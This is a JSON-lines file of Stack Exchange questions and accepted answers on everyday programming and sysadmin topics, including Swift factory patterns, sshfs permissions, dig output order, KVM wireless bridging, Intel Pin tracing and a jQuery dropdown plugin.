{  "id": "_codereview.124637"  , "question": "I'm making a photo marker application and need to make a factory pattern for marker. I think it is not very flexible and overall not good.Would you check my code and suggest what could be improved?import Foundationenum MarkerType: String {    case Shape, Image}enum MarkerError: ErrorType {    case ImageNoExist    case ShapeNoExist}struct ImageMarker {    static func make(type: String) -> UIImageView {        var imageStr: String =         switch type {        case X:            imageStr = close.png            break        default: break        }        let image = UIImage(named: imageStr)        let tintedImage = image?.imageWithRenderingMode(.AlwaysTemplate)        let imageView = UIImageView(image: tintedImage)        imageView.tintColor = UIColor.redColor()        return imageView    }}struct ShapeMarker {    static func make(type: String) -> UIView {        var shape: UIView = UIView()        switch type {        case CIRCLE:            //shape = CircleView()            break        default: break        }        return shape    }}typealias Factory = (String) -> AnyObjectclass MarkerHelper {    class func factoryFor(type: MarkerType) -> Factory {        switch type {        case .Shape:            return ShapeMarker.make        case .Image:            return ImageMarker.make        }    }}"  , "title": "Factory pattern for image or shape marker"  , "tags": "ios;swift;abstract factory;uikit"  , "accepted_answer": "In looking at your code, what I see are a series of effectively global functions that make things based on a string.The object that calls factoryFor must know what the string is in order to know which type of maker to return (after all, if the string is going to be X, then the object that calls factoryFor has to know not to pass Shape.) Also, the caller of the factory function must know what the factory is making in order to correctly cast the AnyObject that is returned.This leads me to wonder what the MakerHelper.factoryFor function's responsibility is? I mean, it's job just seems to be to return the make global function that the caller already knows it wants, so why not just have the caller use the make function directly?It seems to me that you could have written:import UIKitfunc tintedImageViewNamed(name: String) -> UIImageView {    let image = UIImage(named: name)    let tintedImage = image?.imageWithRenderingMode(.AlwaysTemplate)    let imageView = UIImageView(image: tintedImage)    imageView.tintColor = UIColor.redColor()    return imageView}func make(type: String) -> UIView? /* thanks nhgrif */ {    switch type {    case CIRCLE:        //return CircleView()        return UIView()    case X:        return tintedImageViewNamed(close.png)    default:        return nil    }}The above accomplishes the same thing your code does, is no less safe and no more testable than what you have and it's a lot less complex (which means less chance of bugs.)I'd love to suggest a better solution, but to do that, I would have to better understand what problem you are trying to solve..."  } 
{  "id": "_unix.379209"  , "question": "I need to post data like this to an open telnet{  context : 50EF2767,  data : {    user_status : invisible  },  command : setStatus}The data is multiline. I cannot copy-paste it, as telnet treats new lines as Enter. I tried http://telnet-online.net/ and it works fine But I need this for localhost.Is there any telnet client or any way to allow to post multiline data?"  , "title": "Linux telnet client with multiline support"  , "tags": "telnet"  , "accepted_answer": "Try netcat (nc). See http://www.thegeekstuff.com/2012/04/nc-command-examples/?utm_source=feedburner for examples on how to use it."  } 
{  "id": "_softwareengineering.256397"  , "question": "Consider having a project which you would want to release as open-source.There are parts which you have removed, but still remain in version control history. License of those parts is not compatible with the license you intend to use to release the project.How to solve this?Just release source tree as is. Possibly illegal option.Strip changes/modify history to remove unwanted parts. Breaks compatibility with existing copies of repos. Old versions no longer compile, because important part is missing.Create new repo without unwanted parts. Same problems as above.I have a Mercurial in mind, but I think this applies to any DVCS. "  , "title": "Having unwanted bits in version control history"  , "tags": "open source;version control"  , "accepted_answer": "Create a new repo, probably with no old revision history in it.No old versions fail to compile because there are no old versions (and old versions make no sense as you're deleted half of their source code!)This doesn't preclude you from using the old repo yourself, though migrating changes from OSS devs into your copy will require you to manually make a new branch, populate with a copy of their code, and merge rather than simply merge.You could keep the old repo for the historical versions, while they're still needed, and close it to new development.The last idea is still to create a new repo, and populate it with all but the copyright parts. Put those into a different repo that only you have access to."  } 
{  "id": "_unix.116355"  , "question": "I have Red Hat Enterprise Linux 6.5 and I just mounted an SSHFS directory. When I try to browse the mount as my regular user I can't browse it, but as root I can. Believing it was a problem with the UID under which the directory is mounted I listed the mount directory's permissions... and this is what I get.[root@oc2222167007 sshfs]# lldrwxr-xr-x. 1 nekomikoreimu daemon 4096 Jan 14 10:52 cogfvt1[root@oc2222167007 sshfs]# exit[nekomikoreimu@oc2222167007 sshfs]$ llls: cannot access cogfvt1: Permission deniedd?????????? ? ?    ?       ?            ? cogfvt1Why can't I read the directory as user nekomikoreimu when listing it as root clearly says this user is the owner?"  , "title": "Directory mounted under regular user is inaccessible from said user"  , "tags": "rhel;sshfs"  , "accepted_answer": "So after perusing the manpages looking for how to change the remote port to connect to a virtual machine... I found the answer.All I had to do was adding -o allow_other and bam, it worked. Apparently, sshfs assumes you will read the mounted directory under the same user used to mount it, without considering that usually only ROOT is allowed to mount filesystems .-."  } 
{  "id": "_codereview.60250"  , "question": "I'm trying to follow the path of Sandi Metz and others who state that aiming for small and simple is good for writing understandable code. I've written a method that takes care of writing content to a file without overwriting any existing file of the same name. I wrote it TDD style and, once the tests passed, I refactored the rather large methods into smaller methods, hoping that it would improve readability.I hope you can tell me whether I succeeded, or how I could further improve on my code. I've considered adding modules (such as a Appender module) to my class in order to improve the code according to the single responsibility principle, but can't figure out whether it would actually clarify things more, or whether the added lines would make the intended  clarification void. class CautiousWriter  def self.write(filename, content)    if File.exists?(filename)       rename_existing_file_beginning_with(filename)    end    create_file(filename, content)  end  private  def self.rename_existing_file_beginning_with(filename)    if File.exists? append_old_to(filename)      rename_with_old_and_number_appended(filename)    else      rename_with_old_appended(filename)    end  end  def self.rename_with_old_and_number_appended(filename)    old_and_num_appended = find_available_filename(filename)    rename(filename, old_and_num_appended)  end  def self.find_available_filename(filename)    number = 0    until File.exists?(append_old_to(filename) + number.to_s) == false      number += 1    end    append_old_to(filename) + number.to_s  end  def self.rename_with_old_appended(filename)    rename(filename, append_old_to(filename))  end  def self.rename(filename, new_filename)    File.rename(filename, new_filename)  end  def self.create_file(filename, content)    File.open(filename, 'w') { |file| file.write(content) }  end  def self.append_old_to(filename)    filename + '_old'  endend"  , "title": "Cautious File Writer"  , "tags": "beginner;ruby;file;tdd"  } 
{  "id": "_unix.118891"  , "question": "I've been using VirtualBox (and sometimes VMWare) for years and I've never had any problem with the virtual network adapters, no matter if the physical ones were wired or not.I also played some time ago with KVM in a wired set-up and, although I had to edit some configuration files to get it working, I could also create a bridged adapter without any major problems.Today I decided (wrongly, it seems) to try to use KVM in a laptop running Ubuntu 13.10 and tried to create a virtual machine with bridged networking over a wireless interface. It was extremely painful to set this up.After following all the tutorials I found (for example) and having to reboot my laptop several times to get the connection back I just gave up and went back to my old well-known VirtualBox.And, actually, the first thing I noticed when I looked into the official KVM documentation was that they discourage from trying to bridge a wireless adapter since, according to them: The here shown method, will not work with most(all?) wireless drivers, as these do not support bridging. So, my question is: How come they say that most wireless adapters do not support bridging if it works in VirtualBox and VMWare just out-of-the-box?And what's the difference between these hypervisors that makes it so complicated in KVM, if it works at all?"  , "title": "Wireless bridged networking in KVM. Why is it so complicated?"  , "tags": "networking;virtualbox;vmware;kvm;virtualization"  , "accepted_answer": "Background on KVMI think this is partly due to expectations with KVM. KVM is first and foremost a server product and not a desktop product for virtualization. It can be used in either application but it's definitely suited more for being used on a server. I use it on 3+ hosts at work each hosting 5-10 VMs apiece and it has run flawlessly and is easy to manage, and basically just works.Question #1How come they say that most wireless adapters do not support bridging if it works in VirtualBox and VMWare just out-of-the-box?I believe you're drawing this conclusion from this blurb on the KVM website.WARNING: The here shown method, will not work with most(all?) wireless drivers, as these do not support bridging.This statement is here because it is typically the case. I believe this is often why when you install VirtualBox or VMWare there are typically kernel modules that are getting installed and these products provide their own wrapping around doing this to facilitate making it easier. These products are essentially working around these issues.I believe this issue is also a driver issue. The drivers for WiFi under Linux still pales in comparison to the support that's provided by the Windows drivers for the same hardware. That's just a fact of life.NOTE: I've had wireless NICs in the past that I was not able to put into bridge mode in the past as well. I've typically worked around the issue by either using VirtualBox or getting a different NIC for my laptop.I'll also highlight that neither VirtualBox nor VMware could do this either, at least not until more recent versions. See this as evidence from VMware's KB:If your host has a wireless network adapter, you cannot use bridged networking on Linux hosts in VMware Workstation 5 or lower, VMware Server 1.x, any version of GSX Server, any hosts in VMware Workstation 3 or lower, or in VMware GSX Server 2 or lower. Under these products, if you want to run virtual machines on a host that uses wireless Ethernet adapters, you must configure your virtual machines to use NAT or host-only networking.Source: Using bridged networking with a wireless NIC (760)Question #2And what's the difference between these hypervisors that makes it so complicated in KVM, if it works at all?I can't really shed any light on this particular question, other than to say that if it was easy I imagine this feature would be enabled. I think the crux of the issue has to do with this feature requiring 3 or more groups to coordinate their efforts (hardware manuf., driver devs., Linux kernel, & KVM). These situations are often what results when you need multiple groups to work together in the open source world (IMO)!So can I set it up or what?You can set this up following the directions from either of these 2 articles. The setup requires using a TUN/TAP device which can be put into bridge mode.Bridging a Wireless Card in KVM/QEMUBridge wireless cards"  } 
{  "id": "_unix.164872"  , "question": "Let's say I'm trying to lookup the IPs mail.yahoo.com, gmail.com and mail.google.comIf I execute:dig @8.8.8.8 +nocomments +noquestion \\    +noauthority +noadditional +nostats +nocmd \\    gmail.com mail.yahoo.com mail.google.comI get:gmail.com.                       299    IN  A       173.194.123.21gmail.com.                       299    IN  A       173.194.123.22mail.yahoo.com.                    0    IN  CNAME   login.yahoo.com.login.yahoo.com.                   0    IN  CNAME   ats.login.lgg1.b.yahoo.com.ats.login.lgg1.b.yahoo.com.        0    IN  CNAME   ats.member.g02.yahoodns.net.ats.member.g02.yahoodns.net.       0    IN  CNAME   any-ats.member.a02.yahoodns.net.any-ats.member.a02.yahoodns.net.  17    IN  A       98.139.21.169mail.google.com.                   0    IN  CNAME   googlemail.l.google.com.googlemail.l.google.com.         243    IN  A       173.194.123.21googlemail.l.google.com.         243    IN  A       173.194.123.22Can I ensure that if I see a CNAME record, the A record corresponding to it won't appear before a CNAME corresponding to another machine or an A record for other hostname?For instance, let me focus on mail.yahoo.com (I just want the IP or IPs mail.yahoo.com resolves to):This is the output:mail.yahoo.com.                    0    IN  CNAME   login.yahoo.com.login.yahoo.com.                   0    IN  CNAME   ats.login.lgg1.b.yahoo.com.ats.login.lgg1.b.yahoo.com.        0    IN  CNAME   ats.member.g02.yahoodns.net.ats.member.g02.yahoodns.net.       0    IN  CNAME   any-ats.member.a02.yahoodns.net.any-ats.member.a02.yahoodns.net.  17    IN  A       98.139.21.169The hostname I'm looking for ( mail.yahoo.com) is the first column of the first entry. Then there's a bunch of CNAMES I really don't care about, and then an A record with the actual IP (which I do care about).Is there a possibility of getting the CNAMES or A records out of order? Something like:ats.login.lgg1.b.yahoo.com.        0    IN  CNAME   ats.member.g02.yahoodns.net. #(!)BADats.member.g02.yahoodns.net.       0    IN  CNAME   any-ats.member.a02.yahoodns.net. #(!)BADmail.yahoo.com.                    0    IN  CNAME   login.yahoo.com.login.yahoo.com.                   0    IN  CNAME   ats.login.lgg1.b.yahoo.com.any-ats.member.a02.yahoodns.net.  17    IN  A       98.139.21.169Or even worse (the actual A record on top):any-ats.member.a02.yahoodns.net.  17    IN  A       98.139.21.169mail.yahoo.com.                    0    IN  CNAME   login.yahoo.com.login.yahoo.com.                   0    IN  CNAME   ats.login.lgg1.b.yahoo.com.ats.login.lgg1.b.yahoo.com.        0    IN  CNAME   ats.member.g02.yahoodns.net.ats.member.g02.yahoodns.net.       0    IN  CNAME   any-ats.member.a02.yahoodns.net.Or the worse of the worse (in a multi-resolution dig execution, as the one shown on top of the post):ats.member.g02.yahoodns.net.       0    IN  CNAME   any-ats.member.a02.yahoodns.net.any-ats.member.a02.yahoodns.net.  17    IN  A       98.139.21.169mail.google.com.                   0    IN  CNAME   googlemail.l.google.com.  # This one I wantgmail.com.                       299    IN  A       173.194.123.21            # This one I wantgmail.com.                       299    IN  A       173.194.123.22            # This one I wantmail.yahoo.com.                    0    IN  CNAME   login.yahoo.com.          # This one I wantlogin.yahoo.com.                   0    IN  CNAME   ats.login.lgg1.b.yahoo.com.ats.login.lgg1.b.yahoo.com.        0    IN  CNAME   ats.member.g02.yahoodns.net.googlemail.l.google.com.         243    IN  A       173.194.123.21googlemail.l.google.com.         243    IN  A       173.194.123.22"  , "title": "Dig command: Is the output guaranteed to be sorted?"  , "tags": "dns;dig"  , "accepted_answer": "dig does not reorder the results, it shows them in the order that the nameserver returns them. Nameservers normally shuffle the results (either randomly or round-robin) each time they're queried for a particular record (to implement a simple form of load balancing), although there may be server configuration options that override this. In the case of BIND, the relevant options are rrset-order and sortlist.As far as I can tell, if you perform multiple queries with a single dig invocation, it's as if you had executed dig separately for each name, in that order. I can't imagine why the code wouldn't just loop through them in the order they're on the command line.If the server has to follow CNAME records to get the final answer, the DNS specification says that each alias will be added to the response in the order they're processed. So you're guaranteed that the original name you gave will be first, and the final results will be last."  } 
{  "id": "_reverseengineering.12363"  , "question": "I am using Intel Pin in order trace memory activity of an executable on Windows. What I have found, that most of the memory operands (Read or Write) operates with 2 or 4 bytes. So I decided to modify original Pin's pinatrace example, in order to see which Assembly opcodes produces which memory activity.VOID Instruction(INS ins, VOID *v){        UINT32 memOperands = INS_MemoryOperandCount(ins);        fprintf(trace,\\n[%s]\\n,(INS_Disassemble(ins)).c_str());         for (UINT32 memOp = 0; memOp < memOperands; memOp++)        {              .....What it basically does (I hope), is just writes disassembled opcode BEFORE the memory operands it produces. But then I looked in the file (W is for write, R is for read):[test edx, 0x800000][jnz 0x77708557][mov dword ptr [ebp-0x4], edi][test dl, 0x1][jnz 0x77703136] RWWRWW [lea edi, ptr [ebx+0xcc]][push dword ptr [edi]][call 0x77702520] RWW [mov edi, edi][push ebp][mov ebp, esp][mov eax, dword ptr [ebp+0x8]][mov ecx, dword ptr fs:[0x18]][lea edx, ptr [eax+0x4]][lock btr dword ptr [edx], 0x0][jnb 0x777041dc][mov ecx, dword ptr [ecx+0x24]][mov dword ptr [eax+0xc], ecx][mov dword ptr [eax+0x8], 0x1][mov eax, 0x1][pop ebp][ret 0x4] WRRRWRWWRRAs we can see, opcodes that are supposed to work with memory (e.g. mov) do not produce memory operands. While memory traces are connected as blocks after ret/call/jnz etc.Question: What kind of memory operands does Intel Pin trace? Is it about calls to virtual memory/RAM/CPU registers? Could it be possible, that memory activity goes in blocks due to CPU's pipeline?"  , "title": "Intel Pin memory operations tracking"  , "tags": "disassembly;binary analysis;memory;pintool"  , "accepted_answer": "So, finally I came up with the solution that works how I want and results seem to be valid according to enter link description herefprintf(trace,\\n[%s]\\n,(INS_Disassemble(ins)).c_str()); //(INS_Disassemble(ins)).c_str()        fflush(trace);        for (UINT32 memOp = 0; memOp < memOperands; memOp++)        {            if (INS_MemoryOperandIsRead(ins, memOp))            {                fprintf(trace,R);                icount++;            }            if (INS_MemoryOperandIsWritten(ins, memOp))            {                fprintf(trace,W);                icount++;            }        }And it produces the following output:[mov eax, dword ptr [ebp+0x10]]R[mov byte ptr [ebx+0x2], 0x0]W[mov byte ptr [ebx+0x7], 0x0]WI cannot be sure that it is the true sequence of executable under analysis because I do output in the instrumentation phase, but the code can probably be modified it the way to write opcode inside another  INS_InsertPredicatedCall, so it will be recorded when it will be executed."  } 
{  "id": "_softwareengineering.273983"  , "question": "I have a modular application written in Java based on NetBeans Modules (those details probably aren't so important :-) ) and I'd like to add another module written in Clojure language. Clojure programs need to have the clojure library accessible.Is it generally a good practice to put such a dependency library to another, separate module so it could be shared by multiple modules? Or do you prefer to pack that library into the module?"  , "title": "Modular application - dependency as separate module?"  , "tags": "clojure;modules;netbeans"  } 
{  "id": "_unix.83687"  , "question": "I have found a website that hosts a few files that I'm after, there's too many to download them all individually. The filenames take a fairly standard and reproduceable form i.e. 1_a, 1_b, 1_c etcIs there a way, using the Linux command line, to use wget to automate downloading them all? I can easily put the filenames in a 1 entry per line text file and direct the command line to look up from there, but it wouldn't be the whole URL, just the bit that changes so the command would need to look something like:wget url.com/files/(bit from file).doc sourcefile.txtAnd basically be able to substitute in an entry from the sourcefile to the bit in the brackets.Also, at one stage a large chunk (a few hundred) of the files are simply sequentially numbered, so could I use a for loop for that bit? If so, how would I do this syntactically in the command line?"  , "title": "Using wget to get file names from a text file"  , "tags": "bash;wget"  } 
{  "id": "_unix.104056"  , "question": "I was running an Ubuntu desktop. The OS was installed on a SSD. I had two additional drives formatted ext4 and mounted on /storage (1TB) and /storage-bak (1.5TB).  I installed Centos over Ubuntu on the SSD and the install put a 2.3GB Logical volume on my two storage drives.  I didn't want this.  I guess I missed something during the Centos install.  Centos used the LV to mount /home on it.  I booted once and logged in.  Not much was written to it.Is there any way to remove the LV and get my drives back to the state they were in.... data intact?  I just want a /dev/sdb1 and a /dev/sdc1  so I can mount them as generic EXT4 drives."  , "title": "How do I recover an ext4 volume overwritten by an LVM logical volume?"  , "tags": "partition;lvm;data recovery"  } 
{  "id": "_webapps.37252"  , "question": "I am locked out of Facebook due to Facebook saying my computer has been infected with malware. I upgraded my Internet Explorer browser to version 9 and ran a security check. Report came back clean and protected. When trying to get back onto my Facebook account, the continue button for removal of malicious extensions does not work. Any other options?"  , "title": "Facebook malicious extension remover"  , "tags": "facebook;login"  } 
{  "id": "_unix.35874"  , "question": "Lately I've been trying to brush up on the math I should have learned in high school. (I didn't pay much attention.) Regarding this, college entrance exams and Octave make a great pair.This morning I got to fractional powers. And Octave had something surprising in store:octave:41> (9 ^ 1/2)ans =  4.5000octave:42> (9 ^ .5)ans =  3octave:43> (9 ^ 0.5)ans =  3Maybe I dozed off when we covered this in high school, but no... According to this website, By the way, some decimal powers can be written as fractional  exponents, too. If you are given something like 35.5, recall that  5.5 = 11/2, so:3 ^ 5.5 = 3 ^ 11/2So evidently there's some reason why octave evaluates these two expressions differently...Why does Octave evaluate fractional powers differently? Is this a non-feature, or is there a good reason why it should? "  , "title": "Why does octave give different results for 9 ^ 1/2 and 9 ^ 0.5?"  , "tags": "math;octave"  , "accepted_answer": "I'm no Octave expert, but it look like Octave parses 9 ^ 1/2 as (9^1)/2.  That is, the exponentiation operator has a higher priority (binds tighter) than division. Try parenthesizing like this: (9 ^ (1/2))."  } 
{  "id": "_softwareengineering.332252"  , "question": "Rust needs external linkers (e.g. GCC) to generate final output. Why doesn't it provide a bundled one? Are there any languages that does the similar?"  , "title": "Why does Rust require external linkers? Any other similar languages?"  , "tags": "compilation;rust"  , "accepted_answer": "Rust requires a linker to generate final output. It's only external insofar as it is a separate program from the compiler that generates object files.The same is true for most C and C++ compilers, and probably a bunch of other compiled languages, like Swift, Ada and Fortran.Using the system linker instead of bundling your own is useful to ensure compatibility. Sure, Rust could bundle LLD, but what would be the advantage over using the system linker on Linux, or bundling MinGW (which is needed anyway) on Windows and using the LD inside? (Or if you go for the MSVC ABI, you will want a Visual Studio installed anyway, so link.exe is available.)Also, relying on an external compiler driver for the linker invocation simplifies the rustc compiler, since linker invocations tend to be complicated and full of platform-specific black magic. Reimplementing this logic would be a waste of time."  } 
{  "id": "_codereview.144280"  , "question": "I'm working on my first jQuery plugin for a lightweight dropdown. This dropdown behaves just like a ordinary <select>. Before implementing new features I'd like to know if my current approach is clean and efficient (I care about readability and performance)./** * Dropdown plugin. * * @license MIT (https://opensource.org/licenses/MIT) */;(function($, window, document) {    'use strict';    var plugin   = 'dropdown',        methods  = ['open', 'close', 'toggle'],        defaults = {            onOpen  : function() {},            onClose : function() {},            classNames : {                dropdown : 'dropdown',                menu     : 'dropdown__menu',                item     : 'dropdown__item',                open     : 'dropdown--open',                empty    : 'dropdown--empty'            }        };    // Constructor    function Dropdown(element, options) {        this.element  = element;        this.settings = $.extend({}, defaults, options);        this.init();    }    // Instance    $.extend(Dropdown.prototype, {        init: function() {            var instance = this,                $element = $(instance.element),                $items   = $element.find('.' + instance.settings.classNames.item);            // Check if there already is a selection            if ($items.filter('.selected').length === 0) {                $element.addClass(instance.settings.classNames.empty);            }            // Bind listeners            $element                .mousedown(function() {                    instance.toggle();                })                .keydown(function(e) {                    switch (e.which) {                        case 13 : // enter key                            instance.toggle();                            break;                        case 38 : // arrow up                            instance.select('prev');                            e.preventDefault(); // prevent scroll                            break;                        case 40 : // arrow down                            instance.select('next');                            e.preventDefault(); // prevent scroll                            break;                    }                })                .focusout(function() {                    instance.close();                });            $items                .mousedown(function(e) {                    instance.select(e.target);                });        },        /**         * Check the state of the dropdown.         *         * @param state         * @returns {*}         */        is: function(state) {            var instance = this,                $element = $(this.element);            return {                open: function() {                    return $element.hasClass(instance.settings.classNames.open);                },                empty: function() {                    return $element.hasClass(instance.settings.classNames.empty);                }            }[state].apply();        },        /**         * Select a dropdown item.         *         * @param item         */        select: function(item) {            var instance  = this,                $element  = $(this.element),                $items    = $element.find('.' + instance.settings.classNames.item),                $selected = $items.filter('.selected'),                $target;            // Check if an element is passed            if (typeof item === 'object') {                $target = $(item);            } else {                // Check if we have a selection                if ($selected && $selected.length > 0) {                    if (item === 'next') {                        $target = $selected.next();                    } else if (item === 'prev') {                        $target = $selected.prev();                    }                } else {                    $target = $items.first();                }            }            // Ensure the target is set and a different element the selected item            if ( ! $target || $target.length === 0 || $target[0].isEqualNode($selected[0])) {                return false;            }            // Set classes            $element.removeClass(instance.settings.classNames.empty);            $selected.removeClass('selected');            $target.addClass('selected');            // Set values            $element.find('input, select').val( $target.data('value') );            $element.find('span').first().text( $target.text() );        },        /**         * Toggles the dropdown.         */        toggle: function() {            if  (this.is('open')) this.close();            else this.open();        },        /**         * Open the dropdown.         */        open: function() {            var instance = this,                $element = $(instance.element);            if (instance.is('open')) {                return;            }            $element.addClass(instance.settings.classNames.open);            instance.settings.onOpen.call($element[0]);        },        /**         * Close the dropdown.         */        close: function() {            var instance = this,                $element = $(this.element);            if ( ! instance.is('open')) {                return;            }            $element.removeClass(instance.settings.classNames.open);            instance.settings.onClose.call($element[0]);        }    });    // Plugin definition    $.fn.dropdown = function(options, args) {        return this.each(function() {            var $el  = this,                data = $.data($el, plugin);            // Prevent multiple instantiations            if ( ! data) {                $.data($el, plugin, new Dropdown($el, options));            }            else if (typeof options === 'string') {                // Attempting to call public method                if (data[options] && options.indexOf(methods) === -1) {                    data[options].apply(data, $.isArray(args) ? args : new Array(args));                } else {                    console.error(plugin + ': Trying to call a undefined or inaccessible method')                }            }        });    };})(jQuery, window, document);See it in action: Navigational control with the arrows keys seem to not work in the fiddle for some reason. This should work tho./** * Dropdown plugin. * * @package Fundament * @license MIT (https://opensource.org/licenses/MIT) */;(function($, window, document) {    'use strict';    var plugin   = 'dropdown',        methods  = ['open', 'close', 'toggle'],        defaults = {            onOpen  : function() {},            onClose : function() {},            classNames : {                dropdown : 'dropdown',                menu     : 'dropdown__menu',                item     : 'dropdown__item',                open     : 'dropdown--open',                empty    : 'dropdown--empty'            }        };    // Constructor    function Dropdown(element, options) {        this.element  = element;        this.settings = $.extend({}, defaults, options);        this.init();    }    // Instance    $.extend(Dropdown.prototype, {        init: function() {            var instance = this,                $element = $(instance.element),                $items   = $element.find('.' + instance.settings.classNames.item);            // Check if there already is a selection            if ($items.filter('.selected').length === 0) {                $element.addClass(instance.settings.classNames.empty);            }            // Bind listeners            $element                .mousedown(function() {                    instance.toggle();                })                .keydown(function(e) {                    switch (e.which) {                        case 13 : // enter key                            instance.toggle();                            break;                        case 38 : // arrow up                            instance.select('prev');                            e.preventDefault(); // prevent scroll                            break;                        case 40 : // arrow down                            instance.select('next');                            e.preventDefault(); // prevent scroll                            break;                    }                })                .focusout(function() {                    instance.close();                });            $items                .mousedown(function(e) {                    instance.select(e.target);                });        },        /**         * Check the state of the dropdown.         *         * @param state         * @returns {*}         */        is: function(state) {            var instance = this,                $element = $(this.element);            return {                open: function() {                    return $element.hasClass(instance.settings.classNames.open);                },                empty: function() {                    return $element.hasClass(instance.settings.classNames.empty);                }            }[state].apply();        },        /**         * Select a dropdown item.         *         * @param item         */        select: function(item) {            var instance  = this,                $element  = $(this.element),                $items    = $element.find('.' + instance.settings.classNames.item),                $selected = $items.filter('.selected'),                $target;            // Check if an element is passed            if (typeof item === 'object') {                $target = $(item);            } else {                // Check if we have a selection                if ($selected && $selected.length > 0) {                    if (item === 'next') {                        $target = $selected.next();                    } else if (item === 'prev') {                        $target = $selected.prev();                    }                } else {                    $target = $items.first();                }            }            // Ensure the target is set and a different element the selected item            if ( ! $target || $target.length === 0 || $target[0].isEqualNode($selected[0])) {                return false;            }            // Set classes            $element.removeClass(instance.settings.classNames.empty);            $selected.removeClass('selected');            $target.addClass('selected');            // Set values            $element.find('input, select').val( $target.data('value') );            $element.find('span').first().text( $target.text() );        },        /**         * Toggles the dropdown.         */        toggle: function() {            if  (this.is('open')) this.close();            else this.open();        },        /**         * Open the dropdown.         */        open: function() {            var instance = this,                $element = $(instance.element);            if (instance.is('open')) {                return;            }            $element.addClass(instance.settings.classNames.open);            instance.settings.onOpen.call($element[0]);        },        /**         * Close the dropdown.         */        close: function() {            var instance = this,                $element = $(this.element);            if ( ! instance.is('open')) {                return;            }            $element.removeClass(instance.settings.classNames.open);            instance.settings.onClose.call($element[0]);        }    });    // Plugin definition    $.fn.dropdown = function(options, args) {        return this.each(function() {            var $el  = this,                data = $.data($el, plugin);            // Prevent multiple instantiations            if ( ! data) {                $.data($el, plugin, new Dropdown($el, options));            }            else if (typeof options === 'string') {                // Attempting to call public method                if (data[options] && options.indexOf(methods) === -1) {                    data[options].apply(data, $.isArray(args) ? args : new Array(args));                } else {                    console.error(plugin + ': Trying to call a undefined or inaccessible method')                }            }        });    };})(jQuery, window, document);$('.dropdown').dropdown();.dropdown{position:relative;display:block;padding:.625rem .8125rem;padding-right:2rem;font-family:Source Sans Pro,sans-serif;font-size:16px;color:#333;line-height:1.125;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;outline:0;cursor:pointer;border:1px solid #d9d9d9;border-radius:.25rem;background-color:#fff;-webkit-transition:all .25s ease-out;transition:all .25s ease-out}.dropdown>span{pointer-events:none}.dropdown>select{display:none!important}.dropdown:focus{border-color:#49a2bd}.dropdown:after{content: ;position:absolute;top:50%;right:1rem;margin-top:-2.5px;width:0;height:0;border-color:#d9d9d9;border-left:4px solid transparent;border-right:4px solid transparent;border-top:5px solid}.dropdown.dropdown--empty{color:#b3b3b3}.dropdown.dropdown--open{border-color:#49a2bd;border-bottom-left-radius:0;border-bottom-right-radius:0}.dropdown.dropdown--open:after{-webkit-transform:rotate(-180deg);transform:rotate(-180deg)}.dropdown.dropdown--open .dropdown__menu{display:block;border-color:#49a2bd}.dropdown__menu{display:none;position:absolute;top:100%;left:-1px;right:-1px;z-index:1;margin:0;padding:0;max-height:300px;overflow-y:auto;outline:0;list-style:none;border:1px solid #d9d9d9;border-top:0;border-radius:0 0 .25rem .25rem;background-color:#fff;box-shadow:0 3px 4px rgba(0,0,0,.15)}.dropdown__item{display:block;padding:.625rem .8125rem;color:#333;vertical-align:middle;line-height:1.125;border-top:1px solid rgba(0,0,0,.04)}.dropdown__item>.icon{margin-right:.5rem}.dropdown__item.selected{font-weight:700;background-color:rgba(0,0,0,.01)}.dropdown__item:hover{background-color:rgba(0,0,0,.03)}<script src=https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js></script><div class=dropdown>  <input type=hidden name=foo>  <span>Placeholder</span>  <ul class=dropdown__menu>    <li class=dropdown__item data-value=1>First option</li>    <li class=dropdown__item data-value=2>Second option</li>    <li class=dropdown__item data-value=3>Third option</li>    <li class=dropdown__item data-value=4>Fourth option</li>    <li class=dropdown__item data-value=5>Fifth option</li>  </ul></div>"  , "title": "jQuery plugin for a lightweight dropdown"  , "tags": "javascript;beginner;jquery;form;plugin"  } 
{  "id": "_cs.23011"  , "question": "I was solving a problem on topcoder http://community.topcoder.com/stat?c=problem_statement&pm=2402&rd=5009 .There is one example :{ 1, 2, 3, 4, 5, 1, 2, 3, 4, 5 }Returns: 16So my question how its answer is 16 ?"  , "title": "Explain BadNeighbors problem statement"  , "tags": "dynamic programming"  } 
{  "id": "_softwareengineering.236751"  , "question": "I'm in charge of defining an XML schema for some data; the plan is to have various systems (all under our control) upload XML files that match this schema to a central server for processing. I don't have much knowledge of the design of these other systems, so I'm working collaboratively with those system experts to make this XML schema reasonable to both consume (on our side) and produce (on their side).The schema is not entirely clear-cut, and I'm defining the data we want to collect at the same time as defining the schema. There are a million ways to do it so there's a definite do something, think about it, talk to so-and-so, refactor, repeat process in place.All of that said, we have an unfortunate situation where myself and a few others are defining things and a few other developers are implementing it. I'd like to write some code but haven't found the time. This leads to the frustrating cycle whereby the design changes in the ivory tower and then the guys writing the code have to go and change it again and again. Avoiding details for various reasons, the developers writing the implementation aren't in a position to effectively define the requirements of the schema and the data we must collect.Should I be the one writing and playing with this stuff as I figure out how it should be done? This would be ideal to me, but we're under pressure to get things done and it's quicker to have a few people working on it rather than just me.Do we have too many cooks in the kitchen with the XML file providers influencing the schema? Ease of XML file creation should be a consideration of the schema, right?Is there a better way to solve this problem, or is churn a necessary evil when you're trying to fly the plane as you build it?What is the correct development process to apply here which will minimize wasted time?"  , "title": "How to avoid churn when you are defining a schema while others are trying to program against it"  , "tags": "development process;requirements management"  , "accepted_answer": "I am not sure if it is a way to definitively reduce churn and how applicable it would be to your current situation, but these are some things I would try to do -  Minimum Viable ProductI am not sure if this is fully relevant to your current situation since it looks like you are already in the middle of things but I am going to put it in anyway since it provides a context to some of the other points.I would push to identify the bare minimum of data needed and try to build the smallest end to end integration possible first. Once that is done it becomes a lot easier to handle further changes as a lot of the initial questions around approach and risk have been addressed. Tight communication loopSince you have mentioned that you are not in a position to work on coding the modification to the systems or building a prototype yourself the next best thing is to work closely with the people who have to do this.While building up the schema specification I would try to keep the communication loop as tight and small as possible. Identify a small team that can handle the project end to end and work closely with them (preferably in the same room).If you have multiple teams for different systems I would identify certain folks from each team and work with them. If the teams are too small for this I would try to get a specific block of time to focus on the schema integration and build it in focussed sprints. Build for easy modification/extensionSince you know this is a rapidly changing and sometimes ambiguous schema it is important to design the schema and the code to generate it such that they can be easily modified.If this is done well, after the initial minimum viable product built out, it would be much easier for the developers to extend the system and reduce the churn time. "  } 
